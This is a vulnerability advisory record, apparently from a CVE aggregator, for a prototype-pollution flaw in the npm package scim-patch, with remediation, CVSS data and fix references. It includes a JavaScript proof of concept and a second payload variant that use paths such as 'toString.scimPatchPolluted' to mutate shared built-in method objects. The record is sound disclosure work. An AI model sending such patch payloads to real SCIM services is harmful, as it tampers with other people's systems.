{"id":"CVE-2026-61834","aliases":["GHSA-2mhw-wcx5-v3xj"],"url":"https://o3.security/vulnerability/CVE-2026-61834","summary":"scim-patch: Mutation of Inherited Built-in Method Objects","details":"## Summary\n\nIncomplete Prototype Pollution Fix Allows Mutation of Inherited Built-in Method Objects\n\n`scim-patch` blocks direct dangerous path segments such as `__proto__`, `constructor`, and `prototype`, but still traverses inherited properties when applying SCIM patch paths.\n\nAn attacker who controls a SCIM PATCH operation can use paths such as `toString.polluted` to mutate shared built-in function objects, for example `Object.prototype.toString`.\n\n## Impact\n\nA malicious patch can add attacker-controlled properties to inherited built-in method objects. The impact is narrower than direct `Object.prototype` pollution, but the mutation is process-global and may affect application logic that reads properties from inherited methods.\n\n## Details\n\nAffected code paths:\n\n- `navigate()` reads inherited properties via `schema[subPath]`\n- `assign()` uses `key in obj`, which treats inherited properties as existing\n\nBecause inherited keys are followed, safe-looking path segments such as `toString` can resolve to shared built-in objects.\n\n## PoC\n\n```js\nconst assert = require(\"node:assert/strict\");\nconst { scimPatch } = require(\"./lib/src/scimPatch\");\n\nconst victim = {\n  schemas: [\"urn:ietf:params:scim:schemas:core:2.0:User\"],\n  userName: \"alice\",\n  active: true,\n  emails: [{ value: \"alice@example.com\", primary: true }],\n  meta: { created: \"x\", lastModified: \"x\", resourceType: \"User\" }\n};\n\ntry {\n  assert.equal(({}).toString.scimPatchPolluted, undefined);\n\n  scimPatch(victim, [\n    { op: \"add\", path: \"toString.scimPatchPolluted\", value: \"polluted\" }\n  ]);\n\n  assert.equal(({}).toString.scimPatchPolluted, \"polluted\");\n  console.log(({}).toString.scimPatchPolluted);\n} finally {\n  delete Object.prototype.toString.scimPatchPolluted;\n}\n```\n\nOutput:\n\n```text\npolluted\n```\n\nA no-path operation with a dotted value key is also affected:\n\n```js\nscimPatch(victim, [\n  { op: \"add\", value: { \"toString.noPathPolluted\": \"polluted\" } }\n]);\n```\n\n## Remediation\n\nDo not traverse inherited properties while resolving patch paths. Use own-property checks such as `Object.hasOwn(obj, key)` and create missing containers only for safe own keys.\n\nKeep the existing denylist for `__proto__`, `constructor`, and `prototype` as defense in depth.","published":"2026-09-23T14:02:01.131Z","modified":"2026-10-21T02:58:52.909923256Z","cvss":{"score":4.3,"severity":"MEDIUM","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N"},"epss":null,"cisaKev":null,"exploitsKnown":null,"affectedPackages":[{"ecosystem":"npm","name":"scim-patch","fixedVersion":"0.9.2"}],"fix":{"url":"https://github.com/thomaspoignant/scim-patch/commit/c86474f7a9b16191d939f59ba94eca6c6e63044b","label":"thomaspoignant/scim-patch@c86474f"},"references":[{"type":"WEB","url":"https://github.com/thomaspoignant/scim-patch/releases/tag/v0.9.2"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/61xxx/CVE-2026-61834.json"},{"type":"ADVISORY","url":"https://github.com/thomaspoignant/scim-patch/security/advisories/GHSA-2mhw-wcx5-v3xj"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-61834"},{"type":"FIX","url":"https://github.com/thomaspoignant/scim-patch/commit/c86474f7a9b16191d939f59ba94eca6c6e63044b"},{"type":"FIX","url":"https://github.com/thomaspoignant/scim-patch/pull/1127"},{"type":"PACKAGE","url":"https://github.com/thomaspoignant/scim-patch"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-10-21T02:58:52.909923256Z"}}